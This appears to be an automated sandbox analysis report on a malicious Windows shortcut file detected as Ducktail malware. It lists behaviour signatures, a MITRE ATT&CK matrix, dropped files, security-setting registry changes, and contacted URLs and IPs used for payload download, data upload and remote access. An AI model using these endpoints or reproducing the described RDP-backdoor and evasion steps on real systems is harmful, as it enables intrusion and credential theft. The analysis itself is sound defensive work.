            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0214~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
            Source: C:\Windows\Temp\svczHost.exeCode function: 22_2_00007FF7A2A0BFE0 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,22_2_00007FF7A2A0BFE0
            Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior

            Lowering of HIPS / PFW / Operating System Security Settings

            barindex
            Changes security center settings (notifications, updates, antivirus, firewall)
            Source: C:\Windows\System32\svchost.exeKey value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center cval
            Modifies security policies related information
            Source: C:\Windows\Temp\myRdpService.exeRegistry key created or modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa DisableRestrictedAdmin
            Source: svchost.exe, 00000014.00000002.2311832868.000001E1A7902000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: gramFiles%\Windows Defender\MsMpeng.exe
            Source: powershell.exe, 00000002.00000002.1267646874.000002352B7E0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1203686174.0000023511737000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1271255401.000002352BC41000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1900105818.000001E77855D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.2311832868.000001E1A7902000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntivirusProduct
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntivirusProduct
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWMI Queries: IWbemServices::ExecQuery - Root\SecurityCenter2 : select * from AntivirusProduct
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWMI Queries: IWbemServices::ExecQuery - Root\SecurityCenter2 : select * from AntivirusProduct
            Source: C:\Windows\System32\svchost.exeWMI Queries: IWbemServices::ExecNotificationQuery - ROOT\SecurityCenter : SELECT * FROM __InstanceOperationEvent WHERE TargetInstance ISA &apos;AntiVirusProduct&apos; OR TargetInstance ISA &apos;FirewallProduct&apos; OR TargetInstance ISA &apos;AntiSpywareProduct&apos;
            Source: C:\Program Files\Windows Defender\MpCmdRun.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct
            Source: C:\Program Files\Windows Defender\MpCmdRun.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct

            Stealing of Sensitive Information

            barindex
            Yara detected Ducktail
            Source: Yara matchFile source: Process Memory Space: svczHost.exe PID: 9528, type: MEMORYSTR

            Remote Access Functionality

            barindex
            Yara detected Ducktail
            Source: Yara matchFile source: Process Memory Space: svczHost.exe PID: 9528, type: MEMORYSTR
            Allows multiple concurrent remote connection
            Source: C:\Windows\Temp\myRdpService.exeRegistry key created or modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Terminal Server fSingleSessionPerUser

            Mitre Att&ck Matrix

            ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
            Gather Victim Identity InformationAcquire InfrastructureValid Accounts431
            Windows Management Instrumentation            		1
            DLL Side-Loading            		1
            DLL Side-Loading            		2
            Disable or Modify Tools            		OS Credential Dumping1
            System Time Discovery            		1
            Remote Desktop Protocol            		1
            Archive Collected Data            		3
            Ingress Tool Transfer            		Exfiltration Over Other Network MediumAbuse Accessibility Features
            CredentialsDomainsDefault Accounts12
            Command and Scripting Interpreter            		11
            Windows Service            		11
            Windows Service            		2
            Deobfuscate/Decode Files or Information            		LSASS Memory3
            File and Directory Discovery            		Remote Desktop ProtocolData from Removable Media11
            Encrypted Channel            		Exfiltration Over BluetoothNetwork Denial of Service
            Email AddressesDNS ServerDomain Accounts1
            Service Execution            		Logon Script (Windows)11
            Process Injection            		1
            Obfuscated Files or Information            		Security Account Manager136
            System Information Discovery            		SMB/Windows Admin SharesData from Network Shared Drive11
            Non-Standard Port            		Automated ExfiltrationData Encrypted for Impact
            Employee NamesVirtual Private ServerLocal Accounts5
            PowerShell            		Login HookLogin Hook1
            Software Packing            		NTDS551
            Security Software Discovery            		Distributed Component Object ModelInput Capture4
            Non-Application Layer Protocol            		Traffic DuplicationData Destruction
            Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script1
            Timestomp            		LSA Secrets11
            Process Discovery            		SSHKeylogging15
            Application Layer Protocol            		Scheduled TransferData Encrypted for Impact
            Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts1
            DLL Side-Loading            		Cached Domain Credentials371
            Virtualization/Sandbox Evasion            		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
            DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items1
            File Deletion            		DCSync1
            Application Window Discovery            		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
            Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job21
            Masquerading            		Proc FilesystemSystem Owner/User DiscoveryCloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
            Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt1
            Modify Registry            		/etc/passwd and /etc/shadowNetwork SniffingDirect Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement
            IP AddressesCompromise InfrastructureSupply Chain CompromisePowerShellCronCron371
            Virtualization/Sandbox Evasion            		Network SniffingNetwork Service DiscoveryShared WebrootLocal Data StagingFile Transfer ProtocolsExfiltration Over Asymmetric Encrypted Non-C2 ProtocolExternal Defacement
            Network Security AppliancesDomainsCompromise Software Dependencies and Development ToolsAppleScriptLaunchdLaunchd11
            Process Injection            		Input CaptureSystem Network Connections DiscoverySoftware Deployment ToolsRemote Data StagingMail ProtocolsExfiltration Over Unencrypted Non-C2 ProtocolFirmware Corruption
            Gather Victim Org InformationDNS ServerCompromise Software Supply ChainWindows Command ShellScheduled TaskScheduled Task2
            Hidden Users            		KeyloggingProcess DiscoveryTaint Shared ContentScreen CaptureDNSExfiltration Over Physical MediumResource Hijacking

            Behavior Graph

            Hide Legend

            Legend:

            • Process
            • Signature
            • Created File
            • DNS/IP Info
            • Is Dropped
            • Is Windows Process
            • Number of created Registry Values
            • Number of created Files
            • Visual Basic
            • Delphi
            • Java
            • .Net C# or VB.NET
            • C, C++ or other language
            • Is malicious
            • Internet
            behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1551874 Sample: 4YgQ2xN41W.lnk Startdate: 08/11/2024 Architecture: WINDOWS Score: 100 101 uyt1n8ded9fb380.com 2->101 103 raw.githubusercontent.com 2->103 111 Malicious sample detected (through community Yara rule) 2->111 113 Windows shortcut file (LNK) starts blacklisted processes 2->113 115 Multi AV Scanner detection for dropped file 2->115 117 17 other signatures 2->117 10 cmd.exe 1 2->10         started        13 svczHost.exe 2->13         started        16 myRdpService.exe 2->16         started        19 8 other processes 2->19 signatures3 process4 dnsIp5 133 Windows shortcut file (LNK) starts blacklisted processes 10->133 135 Suspicious powershell command line found 10->135 137 Encrypted powershell cmdline option found 10->137 153 2 other signatures 10->153 21 powershell.exe 14 49 10->21         started        26 conhost.exe 1 10->26         started        83 C:\Windows\Temp\rdp.exe, PE32 13->83 dropped 85 C:\Windows\Temp\myRdpService.exe, PE32+ 13->85 dropped 139 Multi AV Scanner detection for dropped file 13->139 141 Hides user accounts 13->141 143 Contains functionality to hide user accounts 13->143 28 cmd.exe 13->28         started        30 powershell.exe 13->30         started        40 9 other processes 13->40 95 206.206.126.252, 49737, 49739, 49741 HYPEENT-SJUS United States 16->95 97 23.88.71.29, 49736, 49738, 8000 ENZUINC-US United States 16->97 145 Uses regedit.exe to modify the Windows registry 16->145 147 Allows multiple concurrent remote connection 16->147 149 Modifies security policies related information 16->149 155 2 other signatures 16->155 32 cmd.exe 16->32         started        34 powershell.exe 16->34         started        36 regedit.exe 16->36         started        99 127.0.0.1 unknown unknown 19->99 151 Changes security center settings (notifications, updates, antivirus, firewall) 19->151 38 MpCmdRun.exe 19->38         started        file6 signatures7 process8 dnsIp9 105 uyt1n8ded9fb380.com 104.21.86.219, 443, 49708, 49709 CLOUDFLARENETUS United States 21->105 79 C:\Users\user\AppData\...\ybpc4wl1.cmdline, Unicode 21->79 dropped 119 Windows shortcut file (LNK) starts blacklisted processes 21->119 121 Queries sensitive physical memory information (via WMI, Win32_PhysicalMemory, often done to detect virtual machines) 21->121 123 Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines) 21->123 131 3 other signatures 21->131 42 cmd.exe 1 21->42         started        55 3 other processes 21->55 45 rdp.exe 28->45         started        49 conhost.exe 28->49         started        125 Loading BitLocker PowerShell Module 30->125 51 conhost.exe 30->51         started        127 Suspicious powershell command line found 32->127 129 Encrypted powershell cmdline option found 32->129 57 2 other processes 32->57 59 2 other processes 34->59 81 C:\Windows\Temp\regBackup.reg, Windows 36->81 dropped 53 conhost.exe 38->53         started        61 14 other processes 40->61 file10 signatures11 process12 dnsIp13 157 Windows shortcut file (LNK) starts blacklisted processes 42->157 159 Suspicious powershell command line found 42->159 161 Encrypted powershell cmdline option found 42->161 63 powershell.exe 43 42->63         started        67 conhost.exe 42->67         started        107 raw.githubusercontent.com 185.199.110.133, 443, 49743, 49744 FASTLYUS Netherlands 45->107 87 C:\Windows\Temp\rdpwrap.dll, PE32+ 45->87 dropped 89 C:\Windows\System32\rfxvmt.dll, PE32+ 45->89 dropped 163 Multi AV Scanner detection for dropped file 45->163 91 C:\Users\user\AppData\Local\...\ybpc4wl1.dll, PE32 55->91 dropped 165 Loading BitLocker PowerShell Module 55->165 69 conhost.exe 55->69         started        71 cvtres.exe 1 55->71         started        73 AcroRd32.exe 55->73         started        167 Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines) 59->167 75 net1.exe 61->75         started        file14 signatures15 process16 file17 93 C:\Windows\Temp\svczHost.exe, PE32+ 63->93 dropped 109 Potential dropper URLs found in powershell memory 63->109 77 conhost.exe 63->77         started        signatures18 process19

            Screenshots

            Thumbnails

            This section contains all screenshots as thumbnails, including those not shown in the slideshow.


            windows-stand

            Antivirus, Machine Learning and Genetic Malware Detection

            Initial Sample

            SourceDetectionScannerLabelLink
            4YgQ2xN41W.lnk5%ReversingLabs

            Dropped Files

            SourceDetectionScannerLabelLink
            C:\Windows\System32\rfxvmt.dll0%ReversingLabs
            C:\Windows\Temp\rdp.exe66%ReversingLabsWin32.PUA.RDPWrap
            C:\Windows\Temp\rdpwrap.dll54%ReversingLabsWin64.PUA.RDPWrapper
            C:\Windows\Temp\svczHost.exe16%ReversingLabsWin64.Malware.Generic

            Unpacked PE Files

            ⊘No Antivirus matches

            Domains

            ⊘No Antivirus matches

            URLs

            SourceDetectionScannerLabelLink
            https://uyt1n8ded9fb380.com/d75123253ee9915640e2d3f6e9e28a8b05de536145ec35997b85624670c3211858bdbbe78fe8056a5c18be22557452180%Avira URL Cloudsafe
            https://uyt1n8ded9fb380.com/d75123253ee9915640e2d3f6e9e28a8b05de536145ec35997b85624670c321182403637af315a7aa49b6c9d16b620db30%Avira URL Cloudsafe
            https://uyt1n8ded9fb380.com/rdp/init0%Avira URL Cloudsafe
            https://uyt1n8ded9fb380.com/d75123253ee9915640e2d3f6e9e28a8b05de536145ec35997b85624670c32118e709431f0%Avira URL Cloudsafe
            http://uyt1n8ded9fb380.com0%Avira URL Cloudsafe
            http://www.bingmapsportal.com0%Avira URL Cloudsafe
            http://206.206.126.252:8008/api/registry0%Avira URL Cloudsafe
            https://uyt1n8ded9fb380.com/file2/4016291bd0b568a2329d057f2773c3f0dcf11b755849528166abe12488d80aa4034fd591bfe7dd32ecb8a137c16c026582801b95576e1c2084e6959732a404501b50ac9aef9d7354723a5ffad069d406ce5a05956815ccb644fb6ca0316eee53587c55ce250be8a356c20de6996f2ded0%Avira URL Cloudsafe
            https://uyt1n8ded9fb380.com/file3/dd472caab8e99b4f3ecbbaed5468be96d4b65113c81a5ba828b859d3431071726be1ca9ca9b8a78d6914ddb868a9fcfdb6cd1ebb9981f9eea6fbb2ea280217e3a6b2dab9077cc67d4c6d442dfb381b418ef92deb8cc853e7799306c91091f2a7/Windows%20Defender/16/16/user/2030%Avira URL Cloudsafe
            http://stascorp.com/load/1-1-0-620%Avira URL Cloudsafe
            http://206.206.126.252:8008/api/registry/upload/29b7a8f8d9967ca4c3166269aa4de7570%Avira URL Cloudsafe
            http://crl.t.com/pki/crl/pr0%Avira URL Cloudsafe
            https://go.micro0%Avira URL Cloudsafe
            http://crl.ver)0%Avira URL Cloudsafe
            https://dynamic.api.tiles.ditu.live.com/odvs/gri?pv=1&r=0%Avira URL Cloudsafe
            https://uyt1n8ded9fb380.com/file2/92075dc9dc4a975a949cf44381ad6b239ec18149b0f56e36602cd36ff3b9b3a1990%Avira URL Cloudsafe
            https://uyt1n8ded9fb380.com/d75123253ee9915640e2d3f6e9e28a8b05de536145ec35997b85624670c321182403637a0%Avira URL Cloudsafe
            http://pesterbdd.com/images/Pester.png0%Avira URL Cloudsafe
            http://stascorp.comDVarFileInfo$0%Avira URL Cloudsafe
            https://uyt1n8ded9fb380.com/d75123253ee9915640e2d3f6e9e28a8b05de0%Avira URL Cloudsafe
            https://dynamic.t0%Avira URL Cloudsafe
            https://uyt1n8ded9fb380.com/StaticFile/TermServiceTryRun/890%Avira URL Cloudsafe
            http://crl.microsof0%Avira URL Cloudsafe
            http://www.quovadis.bm00%Avira URL Cloudsafe
            https://uyt1n8ded9fb380.com/d75123253ee9915640e2d3f6e9e28a8b05de536145ec35997b85624670c3211858bdbbe70%Avira URL Cloudsafe
            http://crl.co(0%Avira URL Cloudsafe
            https://dynamic.api.tiles.ditu.live.com/odvs/gdv?pv=1&r=0%Avira URL Cloudsafe
            http://uyt1n8ded9fb380.com:443/x0%Avira URL Cloudsafe
            http://pesterbdd.com/images/Pester.pngXz0%Avira URL Cloudsafe
            https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&r=0%Avira URL Cloudsafe
            http://html4/loose.dtd0%Avira URL Cloudsafe
            https://uyt1n8ded9fb380.com/d75123253ee9915640e2d3f6e9e28a8b05de536145ec35997b85624670c32118357cd045bdae8de7ee724b9e2a6083220%Avira URL Cloudsafe
            https://uyt1n8ded9fb380.com/d7510%Avira URL Cloudsafe
            https://uyt1n8ded9fb380.com0%Avira URL Cloudsafe
            https://uyt1n8ded9fb380.com/file2/92075dc9dc4a975a949cf44381ad6b239ec18149b0f56e36602cd36ff3b9b3a1995f586e0506664f82bb18e37c1b05bcebce79d9c16c6ef2f156bfb332cf89756f9d3e8fc8833cb1a4c6ace01541c600bb468dea789dd436ea70d9b56c3a79651381caa20746619bba6cf262e20416890%Avira URL Cloudsafe
            https://uyt1n8ded9fb380.com/file2/609d9cea234e5378795585296b27efeeddf7175dbfe1b91fa9a42e14acce5033e0e1934ebcffa5cc2f1737147d5cdc4948badf137af64757f80a41688f82bbe55abec0841ae8bcc07bb790a5a03b9315f9977abd1f45c72356f72a48246b6ba9263f067acef79a880a2413280b6f5f510%Avira URL Cloudsafe
            https://uyt1n8ded9fb380.com/0D0D0%Avira URL Cloudsafe
            https://uyt1n8ded9fb380.com/file2/b285c70467c8f6e4afebc6cdcfcbd06a500aad1b2ba0a5d0d5efe5748efcbdd6f40%Avira URL Cloudsafe
            http://.css0%Avira URL Cloudsafe
            https://uyt1n8ded9fb380.com/file2/30bb492ec87899a2b4a8fa5c9eeec469d06c3bafc30e181eba243fc24b84241f385aec2e85572485a859fdb0add8f2a973ec65b476e5b0902159ffd06c8a39b82c15688f51d937ccc3716ff2ce0f23195a045a51caa261a117a1c0bf38c036fb0%Avira URL Cloudsafe
            http://206.206.126.252:8008/client/ws0%Avira URL Cloudsafe
            http://.jpg0%Avira URL Cloudsafe
            https://uyt1n8ded9fb380.com/file2/30bb492ec87899a2b4a8fa5c9eeec469d06c3bafc30e181eba243fc24b84241f380%Avira URL Cloudsafe
            https://uyt1n8ded9fb380.com/StaticFile/RdpService/520%Avira URL Cloudsafe
            https://uyt1n8ded9fb380.com/file0%Avira URL Cloudsafe
            http://pesterbdd.com/images/Pester.pngh0%Avira URL Cloudsafe
            https://ocsp.quovadisoffshore.com00%Avira URL Cloudsafe
            http://23.88.71.29:8000/client/ws0%Avira URL Cloudsafe
            http://wsoft.com/pki/ceroCerAut_2010-06-0%Avira URL Cloudsafe

            Domains and IPs

            Contacted Domains

            NameIPActiveMaliciousAntivirus DetectionReputation
            uyt1n8ded9fb380.com
            		104.21.86.219
            		truetrue
              		unknown
              raw.githubusercontent.com
              		185.199.110.133
              		truefalse
                		high

                Contacted URLs

                NameMaliciousAntivirus DetectionReputation
                https://uyt1n8ded9fb380.com/file3/dd472caab8e99b4f3ecbbaed5468be96d4b65113c81a5ba828b859d3431071726be1ca9ca9b8a78d6914ddb868a9fcfdb6cd1ebb9981f9eea6fbb2ea280217e3a6b2dab9077cc67d4c6d442dfb381b418ef92deb8cc853e7799306c91091f2a7/Windows%20Defender/16/16/user/203false
                • Avira URL Cloud: safe
                		unknown
                http://206.206.126.252:8008/api/registryfalse
                • Avira URL Cloud: safe
                		unknown
                https://uyt1n8ded9fb380.com/d75123253ee9915640e2d3f6e9e28a8b05de536145ec35997b85624670c3211858bdbbe78fe8056a5c18be2255745218false
                • Avira URL Cloud: safe
                		unknown
                https://uyt1n8ded9fb380.com/file2/4016291bd0b568a2329d057f2773c3f0dcf11b755849528166abe12488d80aa4034fd591bfe7dd32ecb8a137c16c026582801b95576e1c2084e6959732a404501b50ac9aef9d7354723a5ffad069d406ce5a05956815ccb644fb6ca0316eee53587c55ce250be8a356c20de6996f2dedfalse
                • Avira URL Cloud: safe
                		unknown
                https://uyt1n8ded9fb380.com/d75123253ee9915640e2d3f6e9e28a8b05de536145ec35997b85624670c321182403637af315a7aa49b6c9d16b620db3false
                • Avira URL Cloud: safe
                		unknown
                http://206.206.126.252:8008/api/registry/upload/29b7a8f8d9967ca4c3166269aa4de757false
                • Avira URL Cloud: safe
                		unknown
                https://raw.githubusercontent.com/sebaxakerhtc/rdpwrap.ini/master/rdpwrap.inifalse
                  		high
                  https://uyt1n8ded9fb380.com/StaticFile/TermServiceTryRun/89false
                  • Avira URL Cloud: safe
                  		unknown
                  https://uyt1n8ded9fb380.com/d75123253ee9915640e2d3f6e9e28a8b05de536145ec35997b85624670c32118357cd045bdae8de7ee724b9e2a608322false
                  • Avira URL Cloud: safe
                  		unknown
                  https://uyt1n8ded9fb380.com/file2/92075dc9dc4a975a949cf44381ad6b239ec18149b0f56e36602cd36ff3b9b3a1995f586e0506664f82bb18e37c1b05bcebce79d9c16c6ef2f156bfb332cf89756f9d3e8fc8833cb1a4c6ace01541c600bb468dea789dd436ea70d9b56c3a79651381caa20746619bba6cf262e2041689false
                  • Avira URL Cloud: safe
                  		unknown
                  https://uyt1n8ded9fb380.com/file2/609d9cea234e5378795585296b27efeeddf7175dbfe1b91fa9a42e14acce5033e0e1934ebcffa5cc2f1737147d5cdc4948badf137af64757f80a41688f82bbe55abec0841ae8bcc07bb790a5a03b9315f9977abd1f45c72356f72a48246b6ba9263f067acef79a880a2413280b6f5f51false
                  • Avira URL Cloud: safe
                  		unknown
                  https://uyt1n8ded9fb380.com/file2/30bb492ec87899a2b4a8fa5c9eeec469d06c3bafc30e181eba243fc24b84241f385aec2e85572485a859fdb0add8f2a973ec65b476e5b0902159ffd06c8a39b82c15688f51d937ccc3716ff2ce0f23195a045a51caa261a117a1c0bf38c036fbfalse
                  • Avira URL Cloud: safe
                  		unknown
                  https://uyt1n8ded9fb380.com/0D0Dfalse
                  • Avira URL Cloud: safe
                  		unknown
                  http://206.206.126.252:8008/client/wsfalse
                  • Avira URL Cloud: safe
                  		unknown
                  https://uyt1n8ded9fb380.com/StaticFile/RdpService/52false
                  • Avira URL Cloud: safe
                  		unknown
                  http://23.88.71.29:8000/client/wsfalse
                  • Avira URL Cloud: safe
                  		unknown

                  URLs from Memory and Binaries

                  NameSourceMaliciousAntivirus DetectionReputation
                  https://dev.ditu.live.com/REST/v1/Routes/svchost.exe, 00000010.00000003.1416242221.000001A40CA63000.00000004.00000020.00020000.00000000.sdmpfalse
                    		high
